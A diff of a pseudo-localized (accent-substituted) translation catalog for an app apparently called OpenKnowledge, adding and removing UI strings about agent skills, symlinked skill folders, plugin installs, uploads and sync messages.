@@ -804,6 +873,8 @@
"ENpRJV": ["Ēxţēŕńàĺ ĺĩńķ ƥŕēvĩēŵś"],
"EO4Dt1": ["Ēńàƀĺē ", ["file"]],
"EOjU5V": ["Ĩńĺĩńē Ḿàţĥ Ƥŕōƥēŕţĩēś"],
+ "EPGePE": ["Ũƥĺōàďēď àś \"", ["0"], "\" — ţĥē ńàḿē \"", ["1"], "\" ŵàś ţàķēń."],
+ "EPKVES": ["Ũƥďàţē \"", ["skillName"], "\" ōvēŕ ŷōũŕ ēďĩţś?"],
"EPwuTC": [["usedLabel"], " / ", ["sizeLabel"], " ţōķēńś ũśēď"],
"ETyvvg": ["Ńō ĺàńĝũàĝē ḿàţćĥ."],
"EUiJEM": ["Ōććũŕŕēńćēś ōƒ ", ["0"]],
@@ -817,7 +888,6 @@
"\" ţō ţĥē Ţŕàśĥ. Ďō ŷōũ ŵàńţ ţō ƥēŕḿàńēńţĺŷ ďēĺēţē ĩńśţēàď?"
],
"E_tNGD": ["Ćōńńēćţēď àś @", ["login"]],
- "Ea1prf": ["Ćĥōōśē ŵĥĩćĥ ēďĩţōŕś ēvēŕŷ śķĩĺĺ ĩń ţĥĩś ƥŕōĴēćţ ĩńśţàĺĺś ĩńţō."],
"EarrCe": ["Śēàŕćĥ ēḿōĴĩ"],
"Eax_et": ["Àććēńţ"],
"EbMUlU": ["Àĝēńţ ḿōďē"],
@@ -826,6 +896,7 @@
"EcM3k7": ["Ƒàĩĺēď ţō ćĺēàń ũƥ ƥēńďĩńĝ ", ["kind"]],
"EdQY6l": ["Ńōńē"],
"EeUucb": ["Ŕũĺē ēďĩţĩńĝ ĩś àvàĩĺàƀĺē ƒōŕ ţĥē ƥŕōĴēćţ'ś ŕōōţ ḿàŕķďōŵńĺĩńţ ćōńƒĩĝ"],
+ "Ef6ukL": ["vĩà ƥàŕēńţ"],
"Ef7StM": ["Ũńķńōŵń"],
"EhDLBx": ["Ŷōũ ḿōďĩƒĩēď <0>", ["filePath"], "</0> ĺōćàĺĺŷ, ƀũţ ĩţ ŵàś ďēĺēţēď ũƥśţŕēàḿ."],
"Ehkru0": ["Ōƥēń, ńàvĩĝàţē, àććēƥţ, ōŕ ďĩśḿĩśś ĆōďēḾĩŕŕōŕ ćōḿƥĺēţĩōń śũĝĝēśţĩōńś."],
@@ -848,10 +919,14 @@
"Ēḿƀēďďĩńĝś àŕē ćōḿƥũţēď ōńĺŷ ŵĥēń à śēàŕćĥ ŕũńś àńď àŕē ćàćĥēď ĺōćàĺĺŷ ũńďēŕ <0>.ōķ/ĺōćàĺ</0>."
],
"EoaQyO": ["Àƥƥēńď-ōńĺŷ ĺōĝ ōƒ ŵĥàţ ćĥàńĝēď."],
+ "EpZQFw": ["śũƀàĝēńţś"],
"EqrC_R": ["Ũńďō ƒàĩĺēď: ", ["message"]],
"EqtBXb": ["Vĩśũàĺ ēďĩţōŕ ƒĩńď ōƥēń"],
"ErRi6L": ["Ţēḿƥĺàţē \"", ["label"], "\" ďēĺēţēď"],
"Es-eZU": ["Ŕēḿōvē ƒŕōḿ ŕēćēńţ ƥŕōĴēćţś"],
+ "Es3G-g": [
+ "Ĺĩvēś ĩń ţĥĩś ƥŕōĴēćţ (ŵĥēŕēvēŕ ţĥē śķĩĺĺ'ś ƒōĺďēŕ ĩś) àńď ĩś śĥàŕēď ŵĩţĥ ćōĺĺàƀōŕàţōŕś ţĥŕōũĝĥ ĝĩţ."
+ ],
"Ev2r9A": ["Ńō ŕēśũĺţś"],
"EvPX7f": ["Ōƥēńś à ƒōĺďēŕ ƥĩćķēŕ ţō ćĥōōśē ŵĥēŕē ţō ćĺōńē ţĥē ŕēƥōśĩţōŕŷ."],
"Evq3lu": ["Ōŕƥĥàń ḿōďē"],
@@ -870,6 +945,7 @@
"Ŕũń à ŕēàĺ ţēŕḿĩńàĺ ďōćķēď ĩńśĩďē ŌƥēńĶńōŵĺēďĝē, śţàŕţĩńĝ ĩń ţĥĩś ƥŕōĴēćţ'ś ƒōĺďēŕ."
],
"FCKppt": ["Ēńďƥōĩńţ"],
+ "FCMaBz": ["Ŵĥĩćĥ śķĩĺĺ"],
"FCxvG5": ["Ƒĩŕśţ ĩţēḿ"],
"FDBwmS": ["Ōƥēń ƒōĺďēŕ…"],
"FEK4oC": [
@@ -883,7 +959,6 @@
"FNTx6u": ["Śēàŕćĥ \"", ["semanticSubmitQuery"], "\" ƀŷ ḿēàńĩńĝ"],
"FOGD7m": ["Ćŕēàţē śōḿēţĥĩńĝ ĝŕēàţ."],
"FRYB1Q": ["/àƥĩ/ćōńƒĩĝ ŕēţũŕńēď à ḿàĺƒōŕḿēď ƀōďŷ"],
- "FRqZ9v": ["Ćōũĺďń'ţ ũƥďàţē śķĩĺĺ: ", ["0"]],
"FTBN5g": [
"Ĥōŵ vàĺĩďàţĩōń ƒĩńďĩńĝś śũŕƒàćē àćŕōśś ţĥē ƥŕōĴēćţ. Ţĥēśē ćĥōĩćēś àŕē ćōḿḿĩţţēď ţō ćōńƒĩĝ.ŷḿĺ àńď śĥàŕēď ŵĩţĥ ēvēŕŷ ćōĺĺàƀōŕàţōŕ vĩà ĝĩţ."
],
@@ -897,13 +972,19 @@
"FWSjnp": ["Ēďĩţ śōũŕćē ƥàńē àńď ćōďē ƥŕōƥēŕţŷ ƒĩēĺďś"],
"FXk_zY": ["Àďďś à ĝũĩďēď ŵōŕķƒĺōŵ ƒōŕ àũţĥōŕĩńĝ ńēŵ Àĝēńţ Śķĩĺĺś."],
"FZtBeR": ["Ēńàƀĺē ", ["0"]],
+ "FeXcUS": [
+ ["display"],
+ " ĩś à śŷḿĺĩńķ ţō ţĥē śōũŕćē ŵĥĩĺē ţĥē śķĩĺĺ'ś ōţĥēŕ ĺōćàţĩōńś àŕē ćōƥĩēś. Ćĺĩćķ ţō ḿàķē ĩţ àń ĩńďēƥēńďēńţ ćōƥŷ."
+ ],
"FgQ7XZ": ["Ćōũĺďń'ţ ĺōàď ŷōũŕ ƀũĝ ŕēƥōŕţś."],
"FgRAvd": ["Ĺōĝś & śŷśţēḿ ĩńƒō"],
+ "Fhp4Gn": ["Vĩēŵ ƥĺũĝĩń"],
"FjkaiT": ["Źōōḿ ōũţ"],
"FqGWeR": ["Ćōũĺďń'ţ ŕēàćĥ ţĥē àĝēńţ ŕēĝĩśţŕŷ."],
"FqTpiN": ["ßĩŕď ŵĩķĩ"],
"Fqr8BP": ["Ḿũĺţĩ-ƥàĝē ƤĎƑ vĩēŵēŕ ŵĩţĥ ţōōĺƀàŕ ćōńţŕōĺś (ţĥũḿƀńàĩĺś, ƥàĝē ńàv, źōōḿ)."],
"Fqx38P": ["Ŵĥàţ ĝōţ ĩń ţĥē ŵàŷ?"],
+ "Fr8JGg": ["Źĩƥ ƒĩĺē"],
"Fsx78O": ["Àďď ţĥē <0>ōķ</0> ćōḿḿàńď ţō ŷōũŕ ţēŕḿĩńàĺ"],
"FvMSms": ["Ŕēńàḿĩńĝ ćĥàńĝēś ţĥē ƒĩĺē ōń ďĩśķ àńď ţĥē ĩď àĝēńţś ũśē ţō ƥĩćķ ţĥĩś ţēḿƥĺàţē."],
"FvpFSZ": ["Ŕēvēàĺ ĩń Ƒĩńďēŕ, ", ["hint"]],
@@ -921,11 +1002,13 @@
"G1XxbZ": ["Ćĥēćķƀōx"],
"G4-bgo": ["Àśķ ÀĨ (ƒŕōḿ śēĺēćţĩōń)"],
"G4m8rL": ["Ćōḿḿēńţ ōń śēĺēćţĩōń"],
+ "G6Lrs_": ["Śţōƥ ", ["0"], " ŕēàďĩńĝ ţĥĩś śķĩĺĺ"],
"G7-rf8": ["Ƥàţţēŕń śŷńţàx ēŕŕōŕ: ", ["message"]],
"G7bn_N": ["Śţàŕţ àń àĝēńţ"],
"G7cMuO": ["ĤŢḾĹ ƥŕēvĩēŵ"],
"G8t9NN": ["Àďď à ƥŕōƥēŕţŷ"],
"GA-UkN": [["keyName"], " ţŷƥē: ", ["typeLabel"], ". Ćĺĩćķ ţō ćĥàńĝē."],
+ "GBQjiV": ["Àďď śķĩĺĺ"],
"GDvlUT": ["Ŕōĺē"],
"GF51cw": [
"Ĝĩvē ţĥē ÀĨ ţōōĺś ŷōũ ũśē àććēśś ţō ŕēàď àńď ũƥďàţē ŷōũŕ ƥŕōĴēćţś. Ƥĩćķ ŵĥàţ ţō śēţ ũƥ ƀēĺōŵ, àńď ćĥàńĝē ĩţ àńŷţĩḿē."
@@ -952,13 +1035,13 @@
"Ďēţàĩĺś àƀōũţ ţĥē ēŕŕōŕ ŷōũ Ĵũśţ ĥĩţ àŕē ĩńćĺũďēď. Śēćŕēţś ĺĩķē ÀƤĨ ķēŷś àńď ţōķēńś àŕē ŕēďàćţēď àũţōḿàţĩćàĺĺŷ."
],
"G_686w": ["Ţàśķ Ĺĩśţ"],
- "G_efLf": ["Ĩńśţàĺĺēď ĩńţō"],
"G_hVTP": ["Ēńàƀĺē Ţĥēḿēś"],
"G_mWXb": ["Ƒĩĺţēŕ ĺàńĝũàĝēś"],
"GamjcN": ["Ţēḿƥĺàţē śàvēď"],
"GemPfn": ["Ƒàĩĺēď ţō ƥàŕśē ƒōŕŵàŕď-ĺĩńķś ēŕŕōŕ ŕēśƥōńśē (ĤŢŢƤ ", ["status"], ")"],
"Gfr4fu": ["Śēŕvēŕ ćàń'ţ ōƥēń ďōćũḿēńţś"],
"GhjUB_": ["Ŕēćōńńēćţēď"],
+ "GidGkh": ["Ũƥďàţē ƒŕōḿ śōũŕćē"],
"GkYV_4": ["Ŕēńàḿēď ", ["0"], " → ", ["1"]],
"Gp_twO": ["Ĺōćàĺ ƥàţĥ"],
"GsBUCk": ["Ĺōàďĩńĝ śēţţĩńĝś"],
@@ -981,15 +1064,22 @@
"H3oH0g": ["Ŕēďō"],
"H6nKok": ["Śĥōŵ ĩń Ƒĩĺē Ḿàńàĝēŕ"],
"H86f9p": ["Ćōĺĺàƥśē"],
+ "HAvHev": ["Àũţō-ũƥďàţē ōƒƒ ƒōŕ \"", ["name"], "\""],
"HAvRAI": [["skillCount", "plural", { "one": ["śķĩĺĺ"], "other": ["śķĩĺĺś"] }]],
"HCn0Ay": ["Ţōĝĝĺē śţŕĩķēţĥŕōũĝĥ ƒōŕḿàţţĩńĝ."],
"HFqQui": ["Ĥĩďē ǫũēũēď ćōḿḿēńţś"],
"HGNCsl": ["Ćōńńēćţĩōń ĺōśţ — ķēēƥ ţĥĩś ţàƀ ōƥēń, ŷōũŕ ēďĩţś ŵĩĺĺ śŷńć ŵĥēń ŕēćōńńēćţēď"],
"HIb0vl": ["Ńēţŵōŕķ ēŕŕōŕ — ƥĺēàśē ţŕŷ àĝàĩń"],
+ "HKH-W-": ["Ďàţà"],
"HM56Bx": ["Ćŕēàţĩńĝ..."],
"HPTPGr": ["Ćŕēàţē à ńēŵ śƥēć ƒĩĺē ƒōŕ ḿŷ ũśēŕ śţōŕŷ"],
"HSh8u_": ["Ƒōĺďēŕś"],
"HTW0Zw": ["Ōńē ḿōŕē śţēƥ: ŕũń <0>ćĺàũďē</0> ĩń ţĥĩś ƥŕōĴēćţ àńď àƥƥŕōvē ŌƥēńĶńōŵĺēďĝē ōńćē."],
+ "HbcQYf": [
+ "Ŕēƥĺàćē ţĥē śŷḿĺĩńķ àţ ",
+ ["display"],
+ " ŵĩţĥ àń ĩńďēƥēńďēńţ ćōƥŷ ōƒ ţĥē śķĩĺĺ? Ńōţĥĩńĝ ēĺśē ḿōvēś."
+ ],
"HdkSiO": ["Ńēŵ ƒĩĺē"],
"HfI1dR": ["Ĩ àĺŕēàďŷ ĥàvē ĩţ ĺōćàĺĺŷ →"],
"Hhe73G": ["Ćōũĺďń'ţ ǫũēũē ţĥàţ ćōḿḿēńţ."],
@@ -1016,12 +1106,15 @@
"ŌƥēńĶńōŵĺēďĝē śţōŕēś ĩţś ćōńƒĩĝũŕàţĩōń àńď ĩńţēŕńàĺ ƒĩĺēś ĩńśĩďē à ńēŵĺŷ ćŕēàţēď <0>.ōķ</0> ďĩŕēćţōŕŷ ĩń ŷōũŕ ƥŕōĴēćţ ŕōōţ ƒōĺďēŕ."
],
"Hrz9NY": ["Ŵĩķĩ ĺĩńķ"],
- "HyvSqq": ["ƤŕōĴēćţ Śķĩĺĺ"],
+ "HzVAoz": [
+ "Ḿōvē ōŕ ŕēńàḿē ţĥĩś ƒĩĺē ĩńśĩďē ţĥē śķĩĺĺ — ţĥē ƥàţĥ śţàŷś ũńďēŕ ŕēƒēŕēńćēś/ ōŕ śćŕĩƥţś/."
+ ],
"HzVv6g": ["Ƥàśţē"],
"I-xnra": [["0"], " ĥēx vàĺũē"],
"I1gRhX": ["Ƒàĩĺēď ţō ŕēńàḿē"],
"I5685_": ["Ţŕŷ à ƥŕōḿƥţ"],
"I5AfhE": ["Śŷńć śţàţũś ũńàvàĩĺàƀĺē — śēŕvēŕ ũńŕēàćĥàƀĺē."],
+ "I6gXOa": ["Ƥàţĥ"],
"I7Exsw": ["Ƒōĺĺōŵ ũś ōń X"],
"I7y_vn": ["Ŕē-ŕũń ţĥē ƥŕōĴēćţ àũďĩţ"],
"IA1wNb": ["Ţĥē Ćĺàũďē Ďēśķţōƥ Àƥƥ ďĩďń'ţ ōƥēń ţĥē ƒĩĺē. Ĩś ĩţ ĩńśţàĺĺēď? (", ["msg"], ")"],
@@ -1031,6 +1124,7 @@
"IFezUv": ["Ţĥē àũďĩţ ćōũĺď ńōţ ƀē ćōḿƥĺēţēď. Ţŕŷ àĝàĩń."],
"IInnZo": ["Ćōńƒĺĩćţ"],
"IKoTAC": ["Ķēēƥ ďĩśàƀĺēď"],
+ "IO8REi": ["Ćōũĺďń'ţ ōƥēń \"", ["name"], "\": ", ["0"]],
"IQPyrD": ["Ḿĩśśĩńĝ ƥàĝē — ćĺĩćķ ţō ćŕēàţē"],
"IQgeSn": ["Ƒàĩĺēď ţō śàvē ţĥē śćĥēḿà ƒĩēĺď"],
"IRv9cH": ["Ćĺōńēď ", ["repoName"], "."],
@@ -1053,6 +1147,7 @@
"IrC12v": ["Àƥƥĺĩćàţĩōń"],
"IreQBq": ["Ŕēƥōśĩţōŕŷ"],
"It9ARY": ["Ţōĝĝĺē ţĥē ŕĩĝĥţ ďōćũḿēńţ ƥàńēĺ."],
+ "It9oAP": ["Ţĥē ", ["editor"], " vēŕśĩōń ĩś ńōŵ ţĥē śōũŕćē"],
"ItxGi3": ["Àţţàćĥḿēńţś ḿũśţ ţōţàĺ ũńďēŕ 3 Ḿß."],
"Ix0K8o": ["Ĥĩďē ēxţēŕńàĺ ŨŔĹ ńōďēś"],
"IxHMdF": ["Ćōũĺďń'ţ ďēĺēţē ţĥàţ ćōḿḿēńţ."],
@@ -1064,9 +1159,11 @@
"J6N5MX": ["Ćōũĺďń'ţ ćōńśţŕũćţ ţĥē śĥàŕē ŨŔĹ. Ţŕŷ Ďōńē àńď ŕē-śĥàŕē."],
"J6mxC1": ["À ńēţŵōŕķ ƥŕōƀĺēḿ ōŕ ĜĩţĤũƀ ōũţàĝē ĩńţēŕŕũƥţēď ţĥē ćĺōńē."],
"J7nMqi": ["Ũńĩńśţàĺĺ ŌƥēńĶńōŵĺēďĝē"],
+ "J86siq": ["Ĩńśţàĺĺ ƒŕōḿ ", ["plugin"]],
"JCxGEX": [
"Ńō ďĩśćōńńēćţēď ƥàĝēś. Ƥàĝēś àƥƥēàŕ ĥēŕē ōńĺŷ ŵĥēń ţĥēŷ ĥàvē ńō ĩńćōḿĩńĝ àńď ńō ōũţĝōĩńĝ ĝŕàƥĥ ēďĝēś."
],
+ "JDHcCM": ["Ĺōàďĩńĝ ƥōƥũĺàŕ śķĩĺĺś"],
"JE21eh": ["Śŷḿĺĩńķ ţō ", ["targetPath"]],
"JG_8KT": ["Ćōũĺďń'ţ ƥũĺĺ ƒŕōḿ ĜĩţĤũƀ. Ćĥēćķ ŷōũŕ ćōńńēćţĩōń àńď śĩĝń-ĩń, ţĥēń ŕēţŕŷ."],
"JHf6qZ": ["ŷōũ@ćōḿƥàńŷ.ćōḿ"],
@@ -1098,19 +1195,23 @@
"K0N7zS": ["Ćōńƒĩĝ śĥàŕĩńĝ śţàţũś ŕēàď ƒàĩĺēď"],
"K1ckLX": ["Ƒàĩĺēď ţō ćŕēàţē ƒōĺďēŕ"],
"K2v7QF": ["Ćōũĺďń'ţ śĥàŕē śķĩĺĺś"],
+ "K4G55s": ["Ćĥēćķĩńĝ śōũŕćē"],
"K6MQQk": ["Śŷńć ĩś ƒàĩĺĩńĝ. Śēē ţĥē śŷńć śţàţũś ƒōŕ ďēţàĩĺś."],
"K6jjWB": [["packName"], " ŵàś àĺŕēàďŷ śēţ ũƥ. Ńōţĥĩńĝ ţō ďō."],
"K6jxcj": ["Àďď à ķēŷ"],
+ "K7NMEc": [["uploadFolderName"], " — ", ["0"], " ƒĩĺēś"],
"K8-WWn": ["Ḿōvē ƀēţŵēēń ţàƀĺē ćēĺĺś"],
"K9J00P": ["Ćĺōńē ƒàĩĺēď — ćōńńēćţĩōń ēŕŕōŕ"],
"KDuPiY": ["Ũƥĺōàďĩńĝ ", ["fileName"]],
"KDw4GX": ["Ţŕŷ àĝàĩń"],
+ "KFd4xz": ["àƀśēńţ"],
"KH5bQi": [
"Ũśĩńĝ ţĥē <0>ŌĶ_ĒḾßĒĎĎĨŃĜŚ_ÀƤĨ_ĶĒŶ</0> ēńvĩŕōńḿēńţ vàŕĩàƀĺē (ḿàńàĝēď ōũţśĩďē ŌƥēńĶńōŵĺēďĝē)."
],
"KIIamL": [
"ŌƥēńĶńōŵĺēďĝē ŵĩĺĺ ćŕēàţē ćōḿḿĩţś àńď ƥũśĥ ţĥēḿ ţō ŷōũŕ ŕēḿōţē àũţōḿàţĩćàĺĺŷ. Ĩƒ ŷōũ ďō ńōţ ŵàńţ àũţōḿàţĩć ćōḿḿĩţś ĩń ŷōũŕ ĝĩţ ĥĩśţōŕŷ, ŷōũ śĥōũĺď ńōţ ēńàƀĺē àũţō-śŷńć."
],
+ "KN5RGc": ["ßũĩĺţ-ĩń (ŕēàď-ōńĺŷ)"],
"KOZud0": [
"ßũĩĺď à ćōḿƥēţĩţōŕ ŕēśēàŕćĥ ķńōŵĺēďĝē ƀàśē. Śţàŕţ ŵĩţĥ àń ōvēŕvĩēŵ ƥàĝē, ţĥēń àďď ćŕōśś-ĺĩńķēď ƥàĝēś ƒōŕ ēàćĥ ćōḿƥēţĩţōŕ, ţĥēĩŕ ƥŕōďũćţś àńď ƥŕĩćĩńĝ, àńď ţĥē śōũŕćēś ƀēĥĩńď ēvēŕŷ ćĺàĩḿ."
],
@@ -1140,7 +1241,6 @@
"KpOJFY": ["Ēńàƀĺē ēxţēŕńàĺ ĺĩńķ ƥŕēvĩēŵś"],
"Kr3VPS": ["Ćōďēx ŵĩĺĺ śţĩĺĺ àśķ ũńţĩĺ ŷōũ ŕũń \"ōķ ĩńĩţ\" ĩń à ţēŕḿĩńàĺ ƒōŕ ţĥĩś ƥŕōĴēćţ."],
"KsAPaB": ["Ţĥĩś ƀŕàńćĥ ĩś ćĥēćķēď ōũţ ĩń:"],
- "KszKI_": ["Śķĩĺĺ ĺēvēĺ"],
"KtACeE": ["Ďēƒàũĺţ: <0>", ["0"], "</0>"],
"KujtjC": ["Ƒĩńď"],
"L-rMC9": ["Ŕēśēţ ţō ďēƒàũĺţ"],
@@ -1151,6 +1251,7 @@
"L6Hhh6": ["(ŕōōţ)"],
"L8fKuc": ["Ŕũń ţĥĩś ĩń ŷōũŕ ţēŕḿĩńàĺ"],
"L9Y9Om": ["Ţōƥ ĺĩńķēď ƥàĝēś"],
+ "LBv_TR": ["Ćōńvēŕţ ĺōćàţĩōńś ţō śŷḿĺĩńķś"],
"LBwUR6": ["ßŕàńćĥ śŵĩţćĥ ţĩḿēď ōũţ — ţŕŷ ōƥēńĩńĝ ţĥē ", ["targetNoun"], " ḿàńũàĺĺŷ."],
"LCUy_N": ["Śēśśĩōń ēńďēď"],
"LDuM35": ["Ŕēƥĺàćē ćũŕŕēńţ ḿàţćĥ ƒŕōḿ ƒĩēĺď"],
@@ -1176,6 +1277,7 @@
"LXdWeS": ["Ḿēďĩũḿ śēćţĩōń ĥēàďĩńĝ."],
"LXfNU-": ["Ńàvĩĝàţĩōń àńď śũĝĝēśţĩōńś"],
"LYufDw": ["Ƒàĩĺēď ţō ēńàƀĺē śēḿàńţĩć śēàŕćĥ — ", ["detail"]],
+ "Lbl6KA": ["Ćōũĺďń'ţ ĩńśţàĺĺ ƒŕōḿ ", ["0"], ": ", ["1"]],
"LbmLyU": ["Ćàń'ţ śàƒēĺŷ ēďĩţ ţĥĩś ţōōĺ'ś ćōńƒĩĝ"],
"Lcehxn": ["Śàvē ŕēśōĺũţĩōń"],
"LdABLa": ["Ćōũĺď ńōţ ōƥēń ", ["target"], ". Ţŕŷ ōƥēńĩńĝ ĩţ ḿàńũàĺĺŷ."],
@@ -1227,6 +1329,7 @@
"M7SqjM": ["Ŕēōƥēń"],
"M92_0q": ["Ćĺōśē ćōḿḿēńţ"],
"M9597s": ["Ƥŕēƥàŕĩńĝ śĥàŕē ŨŔĹ..."],
+ "MBKkUy": ["śķĩĺĺś.śĥ ĩś ũńàvàĩĺàƀĺē; śĥōŵĩńĝ ĜĩţĤũƀ ŕēśũĺţś (ńō ĩńśţàĺĺ ŕàńķĩńĝ)."],
"MBe6TE": ["Ţĥē ǫũōţēď ţēxţ ĩś ńō ĺōńĝēŕ ĩń ţĥē ďōćũḿēńţ — ţĥē àĝēńţ ŵĩĺĺ ƀē ţōĺď."],
"MCjC9A": ["Ďēĺēţē ", ["deleteDescriptorLabel"]],
"MDBJwN": ["Ĥàŕď ţō ũśē"],
@@ -1237,16 +1340,26 @@
],
"MHrjPM": ["Ţĩţĺē"],
"MI6Z0f": ["Ƥĩćķ àń ēḿōĴĩ ţō ĩńśēŕţ àţ ţĥē ćũŕśōŕ."],
+ "MIF36T": ["Ćōũĺďń'ţ ŕēśōĺvē ţĥē ƒōŕķ: ", ["0"]],
"MJqRO6": ["Ŷōũŕ ŕēƥōŕţ ĩś ƀēĩńĝ śēńţ."],
"MJuO1q": ["Ćōńţēxţ ŵĩńďōŵ:"],
"MKEPCY": ["Ƒōĺĺōŵ"],
+ "MQ5LOx": [
+ "Ţũŕń ",
+ ["display"],
+ " ƀàćķ ĩńţō à ŕēàĺ ďĩŕēćţōŕŷ ĥōĺďĩńĝ à ƥēŕ-śķĩĺĺ śŷḿĺĩńķ ƒōŕ ēàćĥ śķĩĺĺ ĩţ ćũŕŕēńţĺŷ śēēś — ńōţĥĩńĝ śţōƥś ŵōŕķĩńĝ, àńď ēàćĥ śķĩĺĺ'ś ḿēńũ ḿàńàĝēś ĩţ ƒŕōḿ ţĥēŕē."
+ ],
"MQIM_Y": ["Ćōũĺďń'ţ ćōƥŷ. Śēĺēćţ ţĥē ŨŔĹ àƀōvē ţō ćōƥŷ ĩţ ḿàńũàĺĺŷ."],
"MRZxAn": ["Ēďĩţēď"],
+ "MS8lMS": [
+ "À śŷḿĺĩńķ ĩś à ƥōĩńţēŕ ţō ţĥē śōũŕćē ƒōĺďēŕ ŕàţĥēŕ ţĥàń à ƒōĺďēŕ ōƒ ĩţś ōŵń. Ēvēŕŷ ĺōćàţĩōń ŕēàďś ţĥē ēxàćţ śàḿē ƀŷţēś, śō ńōţĥĩńĝ ćàń ďŕĩƒţ, àńď à ĺōćàţĩōń śţōƥś ŵōŕķĩńĝ ĩƒ ţĥē śōũŕćē ĩś ďēĺēţēď."
+ ],
"MTs6g3": ["Ćōũĺďń'ţ ŕēćōńńēćţ àƒţēŕ śēŕvēŕ ŕēśţàŕţ"],
"MUBR8r": ["Ŕēńàḿē śũććēēďēď ƀũţ ţĥē ţàƀśţŕĩƥ ḿàŷ ƀē ōũţ ōƒ ďàţē — ŕēƒŕēśĥ ţō ŕēśŷńć"],
"MUrVEo": ["Ńō ŕēćēńţ ƥŕōĴēćţś."],
"MV-Dkb": ["Ƒōũńď ", ["countDisplay"], " ḿàŕķďōŵń ƒĩĺēś"],
"MVxpbf": ["Ƒĩńď àńď ŕēƥĺàćē"],
+ "MXSt4t": ["Ćŕēàţēď ", ["0"]],
"MZSBsh": [
"Ńō ţēḿƥĺàţēś ŷēţ. Àďď ōńē ţō ĝĩvē ńēŵ ďōćś ĩń ţĥĩś ƒōĺďēŕ à ŕēàďŷ-ḿàďē śţàŕţĩńĝ ƥōĩńţ."
],
@@ -1256,7 +1369,6 @@
"Mh_4hd": ["Ƥŕēvĩōũś ţàƀ"],
"Mj8R8K": ["Ćōũĺďń'ţ ĩńśţàĺĺ śķĩĺĺ: ", ["0"]],
"MmDDWK": ["Ŕēćēńţĺŷ ōƥēńēď"],
- "MmqnGI": ["Ńō ĝĺōƀàĺ śķĩĺĺś ŷēţ."],
"Mnavhe": [["propPanelDescriptorLabel"], " Ƥŕōƥēŕţĩēś"],
"MqQoV-": ["Ďēśćŕĩƀē ŵĥàţ ŷōũ ŵàńţ ţō ƀũĩĺď, śţàŕţ à ƀĺàńķ ƒĩĺē, ōŕ śćàƒƒōĺď ƒŕōḿ à ţēḿƥĺàţē."],
"MqsbfN": ["Ţũŕń ōń ēxţēŕńàĺ ĺĩńķ ƥŕēvĩēŵś?"],
@@ -1265,13 +1377,6 @@
"My0wYT": [
"Ŵĥēń ŷōũ ĥōvēŕ àń ēxţēŕńàĺ ĺĩńķ, ĩţś ŨŔĹ ĩś śēńţ ţō ţĥē ďēśţĩńàţĩōń śĩţē ţō ƒēţćĥ ţĥē ƥàĝē'ś ƥŕēvĩēŵ ḿēţàďàţà — ōńē ŕēǫũēśţ ƥēŕ ƥŕēvĩēŵēď ĺĩńķ."
],
- "My9uXI": [
- "Ũƥďàţēď \"",
- ["display"],
- "\" ţō ",
- ["0"],
- " — ŷōũŕ ƥŕēvĩōũś vēŕśĩōń ĩś ĩń ĥĩśţōŕŷ ĩƒ ŷōũ ńēēď ţō ŕēśţōŕē ĩţ."
- ],
"MysZUL": ["Ćōńńēćţĩńĝ ţō ", ["agentName"], "…"],
"N-IonL": [
"Ĥōŵ ũńŕēśōĺvēď ŵĩķĩ-ĺĩńķś àŕē ŕēƥōŕţēď ĩń ţĥē Ƥŕōƀĺēḿś ƥàńēĺ, àũďĩţś, àńď àĝēńţ ţōōĺś."
@@ -1283,11 +1388,15 @@
"N2S1rs": ["Ēḿƥţŷ"],
"N2eHWq": ["Ćōďē ßĺōćķ"],
"N3_ozB": ["Ĥũƀś"],
+ "N40H-G": ["Àĺĺ"],
"N55YNr": [
"Ćĥōōśē ŵĥēţĥēŕ ţĥĩś ƥŕōĴēćţ'ś ŌƥēńĶńōŵĺēďĝē śēţũƥ, ĩńćĺũďĩńĝ ĩţś ÀĨ-ţōōĺ ćōńńēćţĩōńś, ĩś śàvēď ŵĩţĥ ţĥē ƥŕōĴēćţ śō ţēàḿḿàţēś ĝēţ ĩţ ţōō, ōŕ ķēƥţ ōńĺŷ ōń ŷōũŕ ćōḿƥũţēŕ."
],
+ "NCmYhK": [
+ "Śķĩĺĺś ţēàćĥ àĝēńţś ŕēƥēàţàƀĺē ţàśķś. Àũţĥōŕ àńď ḿàńàĝē ţĥēḿ ƒŕōḿ ţĥē Śķĩĺĺś śēćţĩōń ĩń ţĥē ēďĩţōŕ; ēàćĥ śķĩĺĺ'ś ĩńśţàĺĺ ḿēńũ ćōńţŕōĺś ŵĥēŕē ĩţ ĺĩvēś. Ţĥēśē àŕē ţĥĩś ƥŕōĴēćţ'ś śķĩĺĺ ƒōĺďēŕś."
+ ],
+ "NErvOX": ["Śàvēď ţō"],
"NEzPEh": ["Ćŕēàţē à ńēŵ ƀŕàńćĥ, ōŕ ćĥēćķ ōũţ àń ēxĩśţĩńĝ ōńē, ĩń ĩţś ōŵń ŵĩńďōŵ."],
- "NF_Wcg": ["Śĥōŵ śķĩĺĺś śēćţĩōń"],
"NIWAux": ["Ńō ďōćś ŕēĝĩśţēŕēď ũńďēŕ #", ["tagDocsName"], "."],
"NJyQi_": ["ßŕàńćĥ ", ["shareBranch"], " ńō ĺōńĝēŕ ēxĩśţś ōń ţĥē ŕēḿōţē."],
"NKkZXl": ["Ĩńĩţĩàĺĩźē àńď ōƥēń"],
@@ -1332,6 +1441,7 @@
" ƒŕōḿ ţĥē ƥŕōĴēćţ àńď ŕēḿōvēś ĩţś ḿàƥƥĩńĝ ƒŕōḿ ćōńƒĩĝ.ŷḿĺ."
],
"NzluOx": ["(ōƥţĩōńàĺ)"],
+ "O-m8q9": ["ßŕōŵśē àĺĺ"],
"O0Z2Xr": ["Ōũţĝōĩńĝ"],
"O2UpM1": ["ßŕōŵśē"],
"O3oNi5": ["Ēḿàĩĺ"],
@@ -1344,7 +1454,6 @@
"ODGGlj": ["Ƒōĺďēŕ ńàḿē: ", ["detail"]],
"OEEQKT": ["Ĝōōď"],
"OETysD": ["Ńō ĥũƀ ƥàĝēś ŷēţ. Ĥũƀś àƥƥēàŕ ōńćē ƥàĝēś àććũḿũĺàţē ĩńƀōũńď ĝŕàƥĥ ĺĩńķś."],
- "OEu_0l": ["Ƒàĩĺēď ţō ĺōàď śķĩĺĺś: ", ["0"]],
"OFBmkg": [
"Śēàŕćĥ ƒĩĺēś, ćōḿḿàńďś, ƥŕōĴēćţś, àńď ÀĨ ĥàńďōƒƒ àćţĩōńś. Ŵĩţĥ ţēxţ śēĺēćţēď ĩń ţĥē vĩśũàĺ ēďĩţōŕ, ţĥĩś ćĥōŕď àďďś à ĺĩńķ ĩńśţēàď."
],
@@ -1354,6 +1463,7 @@
